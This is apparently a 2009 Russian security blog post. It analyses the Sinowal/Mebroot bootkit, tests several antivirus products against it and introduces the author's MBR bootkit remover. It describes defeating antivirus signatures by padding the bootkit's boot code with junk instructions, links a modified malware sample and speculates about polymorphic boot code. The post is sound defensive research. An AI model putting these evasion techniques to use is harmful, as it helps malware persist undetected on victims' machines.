Кроме, собственно, патча и readme к нему, в архиве лежит и драйвер, который позволяет проверить его работоспособность, выводя в debug output информацию о наличии отладчика.

На системе с активным удалённым отладчиком без патча:

nt!KdDebuggerEnabled: 0x8054b6c1 (TRUE)
   DebuggerEnabled=0x00000001
DebuggerNotPresent=0x00000000

На пропатченой системе с активным удалённым отладчиком:

nt!KdDebuggerEnabled: 0x8054b6c1 (FALSE)
   DebuggerEnabled=0x00000000
DebuggerNotPresent=0x00000001

Анализ и обнаружение буткита Sinowal

2009-10-02T03:05:00.000-07:00

Мы выпустили универсальную утилиту для удаления буткитов (включая Sinowal/Mebroot всех версий,
Stoned Bootkit и все возможные в будущем вариации на тему заражения MBR).
Читать описание и скачать утилиту можно здесь.
Далее – предыстория.

Буткиты, как разновидность широко распространенных вредоносных программ, появились in the wild в начале 2008-го года в лице семейства троянцев Sinowal (или Mebroot, по классификации других вендоров) и стали настоящей головной болью для антивирусной индустрии.
К тому же, недавно был представлен концептуальный буткит – Stoned Bootkit. Это послужило поводом для проведения небольшого исследования (см.ниже) с целью выяснить, как справляются антивирусы со старой доброй угрозой и ее новыми вариациями, а результаты тестирования, в свою очередь, послужили поводом для разработки простой и универсальной утилиты для лечения любых заражений MBR.

Предыстория

Современный буткит, фактически, представляет собой продолжение идей старых-добрых загрузочных вирусов времён DOS под NT платформу. Их история началась с презентации eEye Digital Security на конференции Black Hat USA в 2005-м году, в ходе которой был представлен концепт, запускающийся из главного загрузочного сектора и содержащий в качестве "полезной нагрузки" NDIS-бекдор, который позволял удалённо выполнять произвольный код на захваченном хосте:
http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-soeder.pdf

Именно этот код и взяли за основу авторы троянца Sinowal, дополнив его функционалом по загрузке драйвера и механизмами сокрытия вредоносной активности, сделавшими удаление данного буткита делом совсем нетривиальным. Что из себя представляет Sinowal?

В процессе заражения компьютера дроппер буткита модифицирует код главной загрузочной записи (MBR). Работающий в системе троянец не виден в качестве файла, он "живёт" исключительно в MBR и первых секторах диска, которые не относятся к какому-либо разделу.
Во время загрузки системы, MBR-код буткита перехватывает процедуру чтения ядра операционной системы с диска, для осуществления патчинга вызова функции IoInitSystem рядом с точкой входа. После этого (так же как и в случае с легитимным загрузочным кодом) дальнейшее управление процессом загрузки передаётся загрузочному коду системного раздела, который, в свою очередь, считывает и запускает загрузчик операционной системы (ntldr).
По завершению второй стадии загрузки, загрузчик операционной системы передаёт управление ядру, но из-за установленного перехвата вызова IoInitSystem выполняется код буткита, который осуществляет проецирование в память драйвера с основным функционалом троянца.
Драйвер троянца устанавливает перехваты на драйвера дисковой подсистемы, которые, при попытке чтения модифицированного MBR, возвращают сохранённую копию оригинального загрузочного сектора.
На более поздних этапах инициализации и работы системы в процессы пользовательского режима драйвером внедряется код, который осуществляет взаимодействие троянца с командным центром а так же представляет собой spyware, ориентированный на кражу аккаунтов для доступа к системам онлайн-банкинга.

Неудивительно, что появление подобного зловреда вызвало бурную реакцию всего security-сообщества, ведь до этого, буткиты воспринимали исключительно как интересные концепты, которые вряд ли получат развитие в виде реальных угроз.

Первое развёрнутое описание (а заодно и первая работающая утилита, позволяющая удалять буткита) были опубликованы автором популярного антируткита GMER на своём сайте:
http://www2.gmer.net/mbr/

Несколько позже, интересными публикациями отличились и эксперты Лаборатории Касперского, вслед за которыми детектирование первого семейства Sinowal-а добавили в свои продукты и другие крупные антивирусные вендоры:
http://www.securelist.com/ru/analysis/204007635/Butkit_vyzov_2008
http://www.securelist.com/ru/analysis/204007605/Sovremennye_informatsionnye_ugrozy_I_kvartal_2008

Второе, актуальное и по сей день, поколение Sinowal-а увидело свет в марте 2009-го года:
http://www.securelist.com/ru/analysis/204007655/Butkit_2009

Из-за более интересных перехватов чтения диска, и возможно, по некоторым другим причинам, лечение активного заражения этой версии стало ещё большей проблемой для производителей антивирусов.

Тестирование

Задачей тестирования было проверить, насколько качественно антивирусы детектируют и лечат вредоносные программы, модифицирующие MBR, и насколько они готовы к появлению новых угроз такого типа. Для этого, во-первых, необходимо выяснить, каким образом антивирусы детектируют вредоносный код в MBR: сигнатурно или универсально. Сигнатурное детектирование бессильно против новых модификаций старой угрозы. Во-вторых, необходимо протестировать антивирусы с уже появившейся «новой угрозой».

К сожалению, у меня не было ни времени ни желания тестировать все несколько десятков антивирусов от разных компаний, поэтому, в тестирование попали только те, которые по информации от самих вендоров и слухам с форума anti-malware.ru способны детектировать и/или лечить второе поколение Sinowal-а.
Итак, перед нами:

McAfee VirusScan 13.15.101
Dr.Web CureIt! 5.0.2.9230
Kaspersky Antivirus 2009 9.0.0.463
ESET NOD32 4.0.437.0
Avast Pro 4.8.1356.0
Symantec Trojan.Mebroot Removal Tool 1.0.1.0
F-Secure BlackLight 2.2.1092.0

Кроме того, в тестировании приняла участие бесплатная утилита-антируткит RootRepeal версии 1.3.5.0.

Перейдём к делу.
Тестирование производилось на VMware, с установленной Windows XP Professional SP2. Всего было развёрнуто три разных тестовых стенда.

Самый обычный сампл Sinowal-а второго поколения, дроппер которого датирован концом мая 2009-го года (VirusTotal).
Модифицированная версия Sinowal-а которая была полученна следующим образом: я дизассемблировал код загрузочной записи руткита, прочитанный с зараженной машины, модифицировал его, разбавив мусорными xor-ами и nop-ами и с целью сбития сигнатуры, и после ассембилрования записал обратно на диск. Код доступен для скачивания здесь:
http://www.esagelab.com/files/sinowal-b_modified.zip.

Модифицированный загрузочный код буткита (добавленные инструкции выделены).
Stoned Bootkit. Это очередной концептуальный буткит, который был представлен на конференции BlackHat в этом году. Публично доступная версия буткита является сильно урезанной: кроме инфектора и, собственно, загрузочного кода в ней фактически ничего нет. Дополнительная информация доступна на сайте проекта:
http://www.stoned-vienna.com/.

На зараженную виртуальную машину устанавливались последние версии перечисленных выше продуктов, после чего осуществлялось обновление антивирусных баз и полное сканирование системы с активацией всех возможных опций и технологий детектирования. Работоспособность Sinowal-а на каждом этапе проверялась с помощью RootkitUnhooker-а по наличию в системе подозрительных потоков и исполняемого кода.
Пример лога:

==============================================
>Stealth
==============================================
0x8122CB80 Page with executable code [ ETHREAD 0x81400DA8 ] TID: 256, size: 1152 bytes
0x811E9B29 Page with executable code [ ETHREAD 0x813C9DA8 ] TID: 652, size: 1239 bytes
0x811E6B13 Page with executable code [ ETHREAD 0x813D25D0 ] TID: 656, size: 1261 bytes
0x811BAB07 Page with executable code [ ETHREAD 0x81416570 ] TID: 744, size: 1273 bytes
0x81202AF1 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 1295 bytes
0x81208A55 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 1451 bytes
0x811DA9B1 Page with executable code [ ETHREAD 0x815BB8F8 ] TID: 684, size: 1615 bytes
0x811E78F8 Page with executable code [ ETHREAD 0x813D25D0 ] TID: 656, size: 1800 bytes
0x811E87B9 Page with executable code [ ETHREAD 0x813C9DA8 ] TID: 652, size: 2119 bytes
0x811BB6B2 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 2382 bytes
0x811C3581 Page with executable code [ ETHREAD 0x81661A90 ] TID: 748, size: 2687 bytes
0x811DE4A3 Page with executable code [ ETHREAD 0x817CB810 ] TID: 24, size: 2909 bytes
0x8120648C Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 2932 bytes
0x811E841F Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 3041 bytes
0x8121F419 Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 3047 bytes
0x8121E3CA Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 3126 bytes
0x811EC3B6 Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 3146 bytes
0x811FE321 Page with executable code [ ETHREAD 0x813F3B20 ] TID: 252, size: 3295 bytes
0x811FE25E Page with executable code [ ETHREAD 0x81400B20 ] TID: 264, size: 3490 bytes
0x811FB20A Page with executable code [ ETHREAD 0x813F3B20 ] TID: 252, size: 3574 bytes
0x8120EA80 Unknown thread object [ ETHREAD 0x813F3DA8 ] TID: 248, size: 592 bytes
0x811FB187 Unknown thread object [ ETHREAD 0x813F3B20 ] TID: 252, size: 592 bytes
0x8122CAF7 Unknown thread object [ ETHREAD 0x81400DA8 ] TID: 256, size: 592 bytes
0x811FE119 Unknown thread object [ ETHREAD 0x81400B20 ] TID: 264, size: 592 bytes
0x8123FDF0 Unknown thread object [ ETHREAD 0x816EB030 ] TID: 560, size: 592 bytes
0x811C3417 Unknown thread object [ ETHREAD 0x8165BDA8 ] TID: 648, size: 592 bytes
0x811C0D7C Page with executable code [ ETHREAD 0x815BC570 ] TID: 752, size: 644 bytes
0x811D5D2D Page with executable code [ ETHREAD 0x815BCDA8 ] TID: 660, size: 723 bytes
0x8120ED0B Page with executable code [ ETHREAD 0x813F3DA8 ] TID: 248, size: 757 bytes

Кроме того, для диагностики системы использовалась и утилита собственной разработки, речь о которой пойдёт в конце поста.
Результаты тестирования привожу в виде таблицы (детектирование/удаление).

	Sinowal-b	Sinowal-b Modified	Stoned Bootkit
McAfee VirusScan	+/+	–/–	–/–
Dr.Web CureIt!	+/+	–/–	–/–
Kaspersky Antivirus 2009	+/+	+/–	–/–
ESET NOD32	+/–	+/–	+/–
RootRepeal	+/+	+/+	–/–

В таблице не фигурируют утилиты и продукты от Avast, Symantec и F-Secure, так как они провалили тест, отказавшись впринципе детектировать что-либо из использовавшихся самплов. Но результаты по остальным оказались весьма интересные, и с ходу вызывают достаточно много вопросов.

Почему в первом тесте NOD32 не смог вылечить активное заражение?
Если честно, для меня самого это осталось загадкой, особенно с учётом того, что ESET зарелизил отдельную утилиту-ремовер, замечательно справляющуюся с удалением не модифицированного Sinowal-а обеих поколений. Однако, в силу того что среднестатистический пользователь вряд ли додумается найти и использовать эту утилиту, я посчитал более справедливым включить в тестирование именно "большой" продукт.
Почему во втором тесте большинство продуктов от антивирусных компаний смогли детектировать буткит, но не смогли с ним ничего сделать?
На самом деле, речь идёт всего-лишь о детекте драйвера буткита в памяти, а не вредоносного кода в главной загрузочной записи. Полная бесполезность подобного детектирования очевидна.
А почему антивирусы не смогли детектировать модифицированный загрузочный код буткита?
Это звучит пугающе, но загрузочный код детектируется исключительно сигнатурно. Да, вы не ослышались, это полный и невообразимый пиздец: активный руткит, который легко идентифицировать по подменённому загрузочному коду (при попытке его считывания стандартными средствами) напрочь игнорируется, если сгнатуры этого самого загрузочного кода нет в базе. Удивительно, но всего за десять минут работы мы смогли проапгрейдить версию зловреда почти пятимесячной давности таким образом, что удалить её не смог ни один антивирус.
Но ведь RootRepeal замечательно справляется с удалением буткита в первых двух тестах?
Да, справляется. Автор этого антируткита написал "правильный" детект, который срабатывает именно в случае обнаружения аномалии (несоответствие загрузочного кода при попытке его чтения разными средствами). На лицо повторение ситуации, которая какое-то время назад сложилась и в области классических руткитов: бесплатная утилита, написанная энтузиастом-одиночкой справляется с лечением технически сложных троянов гораздо лучше, чем продукты больших компаний, в написание которых было вложенно огромное количество материальных ресурсов и человеко-часов.
Почему почти никто не детектирует и не лечит Stoned Bootkit?
С RootRepeal-ом всё просто: это антируткит, и его задачей является исключительно детектирование аномалий. Stoned никак не скрывает свой код в MBR, из-за этого и игнорируется антируткитом. Однако, подобная формулировка не сможет служить оправданием в случае с антивирусами. На первый взгляд, может показатся что детектировать ничего не делающий концепт действительно бессмысленно (исключение составили только ESET, которые, видимо, удосужились потратить две минуты на скачивание инфектора и добавления сигнатуры в базу), но давайте мыслить шире. Вирусописатель вполне может использовать полиморфный движок для генерации уникального загрузочного кода в каждом конкретном случае заражения, блокируя после этого попытки его модификации/перезаписи, вместо перехвата процедуры чтения. Таким образом, в течении того времени, что потребуется антивирусным компаниям на анализ сампла, написание и тестирование процедуры детекта/удаления, новый зловред получит возможность невозбранно поселиться хоть на сотнях тысяч компьютеров.

Выводы, опираясь на приведенные мной факты, можете сделать сами, но то, что антивирусная индустрия в техническом плане не готова в полной мере защищать пользователей от нового вида угроз - более чем очевидно. Радует лишь тот факт, что участвовавшие в тестировании продукты хоть как-то детектируют распотраненные in the wild сапмплы, ведь подавляющие большинство других вендоров тихо отмалчивается вообще игнорируя проблемы.

Утилита

В завершение этой заметки, я хотел бы представить вашему вниманию утилиту собственной разработки, которая является универсальным средством для детектирования и удаления буткитов. Её главные отличительные особенности:

Корректно детектирует и лечит активное заражение как распространенных in the wild буткитов (включая все модификации Sinowal/Mebroot), так и неизвестных зловредов подобного класса.
Протестирована и работает на 32-х и 64-х разрядных операционных системах Microsoft Windows XP, Server 2003, Vista, Server 2008 и Windows 7 (RC1 и RTM).
Работает исключительно из режима пользователя, без использования драйверов и каких-либо недокументированных механизмов и функций операционной системы.

Bootkit Remover нашел активный Sinowal-b.

Ремовер простой в использовании. Утилита работает из командной строки (необходимы права администратора).

Проверка MBR для всех физических накопителей:

> remover.exe

В отчете сканирования выводится один из трех вердиктов для каждого
физического накопителя:

OK (DOS/Win32 Boot code found) - MBR содержит оригинальный загрузочный код операционной системы DOS/Windows.
Unknown boot code - MBR содержит неизвестный загрузочный код. На практике это может означать то, что в системе присутствует буткит который не скрывает модифицированный загрузочный код. Кроме того, подобный статус будет выводится в случае использования какого-либо нестандартного мененджера загрузки (например, GRUB).
Controlled by rootkit! - в системе обнаружен активный буткит, который препятствует чтению модифицированного загрузочного кода стандартными средствами (именно так детектируется Sinowal/Mebroot).

Восстановление оригинального загрузочного кода Windows:

> remover.exe fix <device>

... где <device> - это системное имя физического накопителя, на котором вы хотите восстановить загрузочный код (например, \\.\PhysicalDrive0).

Дамп загрузочного кода в консоль или в файл:

> remover.exe dump <device> [output_file]

... где output_file - опциональное имя выходного файла, в который будет записан загрузочный код.

*** ВНИМАНИЕ!
При перезаписи MBR всегда существует небольшой риск нанести вред операционной системе. Поэтому, перед тем как использовать утилиту Bootkit Remover, обязательно приготовьте загрузочный установочный диск с используемой версией Windows, с помощью которого (Recovery Console) можно восстановить MBR в случае его повреждения.

Загрузить утилиту можно здесь.
По вопросам работы ремовера связываться со мной лучше всего по е-mail: dmitry@esagelab.ru